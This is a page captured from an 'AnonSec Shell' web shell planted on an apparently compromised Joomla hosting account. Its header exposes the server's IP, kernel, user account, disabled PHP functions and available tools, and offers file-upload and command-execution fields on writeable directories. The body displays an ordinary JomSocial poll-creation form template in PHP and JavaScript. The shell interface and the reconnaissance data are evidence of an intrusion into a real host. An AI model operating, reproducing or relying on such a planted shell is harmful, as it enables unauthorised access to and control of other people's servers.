AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.117
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/www/cj79373/components/com_community/templates/jomsocial/layouts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/www/cj79373/components/com_community/templates/jomsocial/layouts//polls.forms.php
<?php
/**
* @copyright (C) 2013 iJoomla, Inc. - All rights reserved.
* @license GNU General Public License, version 2 (http://www.gnu.org/licenses/gpl-2.0.html)
* @author iJoomla.com <webmaster@ijoomla.com>
* @url https://www.jomsocial.com/license-agreement
* The PHP code portions are distributed under the GPL license. If not otherwise stated, all images, manuals, cascading style sheets, and included JavaScript *are NOT GPL, and are released under the IJOOMLA Proprietary Use License v1.0
* More info at https://www.jomsocial.com/license-agreement
*/
defined('_JEXEC') or die();
$endDate = new JDate($poll->enddate);

$mainframe = JFactory::getApplication();
$jinput = $mainframe->input;
$pageid = $jinput->getInt('pageid', 0);
$groupid = $jinput->getInt('groupid', 0);
$eventid = $jinput->getInt('eventid', 0);
?>

<div class="joms-page">
    <h3 class="joms-page__title"><?php echo JText::_($isNew ? 'COM_COMMUNITY_POLLS_CREATE_NEW_GROUP' : 'COM_COMMUNITY_POLLS_EDIT_TITLE'); ?></h3>
    <form method="POST" action="<?php echo CRoute::getURI(); ?>" onsubmit="return joms_validate_form(this);">

        <div class="joms-form__group">
            <?php if ($isNew) { ?>
                <?php if ($pollcreatelimit != 0 && $pollCreated / $pollcreatelimit >= COMMUNITY_SHOW_LIMIT) { ?>
                    <p><?php echo JText::sprintf('COM_COMMUNITY_POLLS_LIMIT_STATUS', $pollCreated, $pollcreatelimit); ?></p>
                <?php } ?>
            <?php } ?>
        </div>

        <div class="joms-form__group">
            <span><?php echo JText::_('COM_COMMUNITY_POLLS_TITLE'); ?> <span class="joms-required">*</span></span>
            <input type="text" class="joms-input" name="title" required=""
                title="<?php echo JText::_('COM_COMMUNITY_POLLS_TITLE_TIPS'); ?>"
                value="<?php echo $this->escape($poll->title); ?>">
        </div>

        <div class="joms-form__group">
            <span><?php echo JText::_('COM_COMMUNITY_POLLS_CATEGORY'); ?> <span class="joms-required">*</span></span>
            <?php echo $lists['categoryid']; ?>
        </div>

        <?php if (!$pageid && !$groupid && !$eventid) { ?>
            <div class="joms-form__group">
                <span><?php echo JText::_('COM_COMMUNITY_POLLS_PRIVACY'); ?> <span class="joms-required">*</span></span>
                <?php echo CPrivacy::getHTML('permissions', $poll->permissions, COMMUNITY_PRIVACY_BUTTON_LARGE, array(), 'select'); ?>
            </div>
        <?php } ?>

        <script>

            joms_tmp_pickadateOpts = {
                min      : true,
                format   : 'yyyy-mm-dd',
                firstDay : <?php echo $config->get('event_calendar_firstday') === 'Monday' ? 1 : 0 ?>,
                today    : '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_CURRENT", true) ?>',
                'clear'  : '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_CLEAR", true) ?>'
            };

            joms_tmp_pickadateOpts.weekdaysFull = [
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_DAY_1", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_DAY_2", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_DAY_3", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_DAY_4", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_DAY_5", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_DAY_6", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_DAY_7", true) ?>'
            ];

            joms_tmp_pickadateOpts.weekdaysShort = [];
            for ( i = 0; i < joms_tmp_pickadateOpts.weekdaysFull.length; i++ )
                joms_tmp_pickadateOpts.weekdaysShort[i] = joms_tmp_pickadateOpts.weekdaysFull[i].substr( 0, 3 );

            joms_tmp_pickadateOpts.monthsFull = [
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_MONTH_1", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_MONTH_2", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_MONTH_3", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_MONTH_4", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_MONTH_5", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_MONTH_6", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_MONTH_7", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_MONTH_8", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_MONTH_9", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_MONTH_10", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_MONTH_11", true) ?>',
                '<?php echo JText::_("COM_COMMUNITY_DATEPICKER_MONTH_12", true) ?>'
            ];

            joms_tmp_pickadateOpts.monthsShort = [];
            for ( i = 0; i < joms_tmp_pickadateOpts.monthsFull.length; i++ )
                joms_tmp_pickadateOpts.monthsShort[i] = joms_tmp_pickadateOpts.monthsFull[i].substr( 0, 3 );

        </script>

        <div class="joms-form__group">
            <span><?php echo JText::_('COM_COMMUNITY_EVENTS_END_TIME'); ?> <span class="joms-required">*</span></span>
            <input type="text" class="joms-input" id="enddate" name="enddate" required=""
                placeholder="<?php echo JText::_('COM_COMMUNITY_POSTBOX_EVENT_END_DATE_HINT'); ?>"
                data-value="<?php echo $endDate->format('Y-m-d'); ?>"
                style="cursor:text">
            <div id="endtime" style="margin-top:5px">
                <?php echo $endHourSelect; ?> :
                <?php echo $endMinSelect; ?>
                <?php echo $endAmPmSelect; ?>
            </div>
            <script>
                window.joms_queue || (joms_queue = []);
                joms_queue.push(function( $ ) {
                    joms_tmp_endDate = $('#enddate').pickadate( $.extend({}, joms_tmp_pickadateOpts, {
                        klass: { frame: 'picker__frame endDate' },
                        min: <?php echo $poll->id > 0 ? 'false' : 'true' ?>,
                    }) ).pickadate('picker');
                });
            </script>
        </div>

        <script>
            window.joms_queue || (joms_queue = []);
            joms_queue.push(function( $ ) {
                var $ehour = $('#endtime-hour'),
                    $emin  = $('#endtime-min'),
                    $eampm = $('#endtime-ampm'),
                    isAmpm = $sampm.length;

                // Validate time.
                $ehour.add($emin).add($eampm).change(function() {
                    var edate = new Date( $('#enddate').val() ).getTime(),
                        ehour, emin, nextDay;

                    if (!edate) {
                        return;
                    }

                    ehour = +$ehour.val();
                    emin  = +$emin.val();

                    if (isAmpm) {
                        if ($eampm.val() === 'PM') {
                            ehour += ehour < 12 ? 12 : 0;
                        } else if (ehour === 12) {
                            ehour = 0;
                        }
                    }

                    emin = smin + 15;
                    if (emin >= 60) {
                        emin = 0;
                        ehour += 1;
                        if ( ehour >= 24 ) {
                            ehour = 0;
                            nextDay = true;
                        }
                    }

                    $emin.val( emin );

                    if ( !isAmpm ) {
                        $ehour.val( ehour );
                    } else {
                        if ( ehour === 0 ) {
                            $ehour.val( 12 );
                            $eampm.val('AM');
                        } else if ( ehour < 12 ) {
                            $ehour.val( ehour );
                            $eampm.val('AM');
                        } else if ( ehour === 12 ) {
                            $ehour.val( 12 );
                            $eampm.val('PM');
                        } else {
                            $ehour.val( ehour - 12 );
                            $eampm.val('PM');
                        }
                    }

                    if ( nextDay ) {
                        edate = new Date( joms_tmp_startDate.get() );
                        edate.setDate( edate.getDate() + 1 );
                        joms_tmp_endDate.set({ select: edate }, { muted: true }, { format: 'yyyy-mm-dd' });
                    }

                });

            });
        </script>

        <div class="joms-form__group">
            <span><?php echo JText::_('COM_COMMUNITY_POLLS_OPTIONS'); ?> <span class="joms-required">*</span></span>
            <?php if ($isNew) { ?>
            <div class="joms-poll-option">
                <input 
                    type="text" 
                    class="joms-input poll-input" 
                    name="pollItem[]" 
                    value="" 
                    placeholder="<?php echo JText::_("COM_COMMUNITY_POSTBOX_POLL_ADD_OPTION") ?>">
                <a href="javascript:;" onclick="joms.view.poll.removeOption(this)" class="joms-poll-option__remove">
                    <svg viewBox="0 0 16 16" class="joms-icon">
                        <use xlink:href="<?php echo CRoute::getURI(); ?>#joms-icon-close"></use>
                    </svg>
                </a>
            </div>
            <div class="joms-poll-option">
                <input 
                    type="text" 
                    class="joms-input poll-input" 
                    name="pollItem[]" 
                    value="" 
                    placeholder="<?php echo JText::_("COM_COMMUNITY_POSTBOX_POLL_ADD_OPTION") ?>">
                <a href="javascript:;" onclick="joms.view.poll.removeOption(this)" class="joms-poll-option__remove">
                    <svg viewBox="0 0 16 16" class="joms-icon">
                        <use xlink:href="<?php echo CRoute::getURI(); ?>#joms-icon-close"></use>
                    </svg>
                </a>
            </div>
            <?php } else { ?>
                <?php 
                    $pollModel = CFactory::getModel('polls');
                    $pollItems = $pollModel->getPollItems($poll->id);

                    foreach ($pollItems as $item) {
                ?>
                    <div class="joms-poll-option joms-poll-item-<?php echo $item->id ?>">
                        <input type="hidden" class="joms-input" name="pollItemId[]" required="" value="<?php echo $item->id ?>">
                        <input 
                            type="text" 
                            class="joms-input poll-input" 
                            name="pollItem[]" 
                            value="<?php echo $item->value ?>"
                            placeholder="<?php echo JText::_("COM_COMMUNITY_POSTBOX_POLL_ADD_OPTION") ?>">
                        <a href="javascript:;" onclick="joms.view.poll.removeOption(this)" class="joms-poll-option__remove">
                            <svg viewBox="0 0 16 16" class="joms-icon">
                                <use xlink:href="<?php echo CRoute::getURI(); ?>#joms-icon-close"></use>
                            </svg>
                        </a>
                    </div>
                <?php } ?>
            <?php } ?>
            <a class="joms-poll-option__add" href="javascript:;" onclick="joms.view.poll.addOption(this)">+ <?php echo JText::_('COM_COMMUNITY_POSTBOX_POLL_ADD_OPTION'); ?></a>
        </div>

        <div class="joms-form__group">
            <span></span>
            <div>
                <label class="joms-checkbox">
                    <input type="checkbox" class="joms-checkbox" name="multiple" value="1" <?php echo $poll->multiple ? ' checked="checked"' : ''; ?>>
                    <span><?php echo JText::_('COM_COMMUNITY_POLLS_MULTIPLE'); ?></span>
                </label>
            </div>
        </div>

        <div class="joms-form__group">
            <span></span>
            <div>
                <?php if ($isNew) { ?>
                    <input name="action" type="hidden" value="save">
                <?php } ?>

                <input type="hidden" name="pollid" value="<?php echo $poll->id; ?>">
                <?php echo JHTML::_('form.token'); ?>
                <input type="button" value="<?php echo JText::_('COM_COMMUNITY_CANCEL_BUTTON'); ?>" class="joms-button--neutral joms-button--full-small" onclick="history.go(-1); return false;">
                <input type="submit" value="<?php echo JText::_($isNew ? 'COM_COMMUNITY_POLLS_CREATE_POLL' : 'COM_COMMUNITY_SAVE_BUTTON'); ?>" class="joms-button--primary joms-button--full-small">
            </div>
        </div>

    </form>
</div>

<script type="text/template" id="joms-template-poll-option__input">
    <div class="joms-poll-option">
        <input 
            type="text" 
            class="joms-input poll-input" 
            name="pollItem[]" 
            value="" 
            placeholder="<?php echo JText::_("COM_COMMUNITY_POSTBOX_POLL_ADD_OPTION") ?>">
        <a href="javascript:;" onclick="joms.view.poll.removeOption(this)" class="joms-poll-option__remove">
            <svg viewBox="0 0 16 16" class="joms-icon">
                <use xlink:href="<?php echo CRoute::getURI(); ?>#joms-icon-close"></use>
            </svg>
        </a>
    </div>
</script>

<script>
    function joms_validate_form() {
        return false;
    }

    (function( w ) {
        w.joms_queue || (w.joms_queue = []);
        w.joms_queue.push(function() {
            joms_validate_form = function( $form ) {
                var errors = 0;

                $form = joms.jQuery( $form );
                $form.find('[required]').each(function() {
                    var $el = joms.jQuery( this );
                    if ( !joms.jQuery.trim( $el.val() ) ) {
                        $el.triggerHandler('blur');
                        errors++;
                    }
                });

                $form.find('.poll-input').each( function() {
                    var $el = joms.jQuery( this );
                    if( !$el.val() ) {
                        errors++;
                        $el.css('border-color', '#ff0000')
                    } else {
                        $el.css('border-color', '')
                    }
                });

                if (errors) {
                    alert("<?php echo JText::_('COM_COMMUNITY_POLLS_ITEMS_ERROR') ?>")
                }

                return !errors;
            }
        });
    })( window );
</script>

Anon7 - 2022
AnonSec Team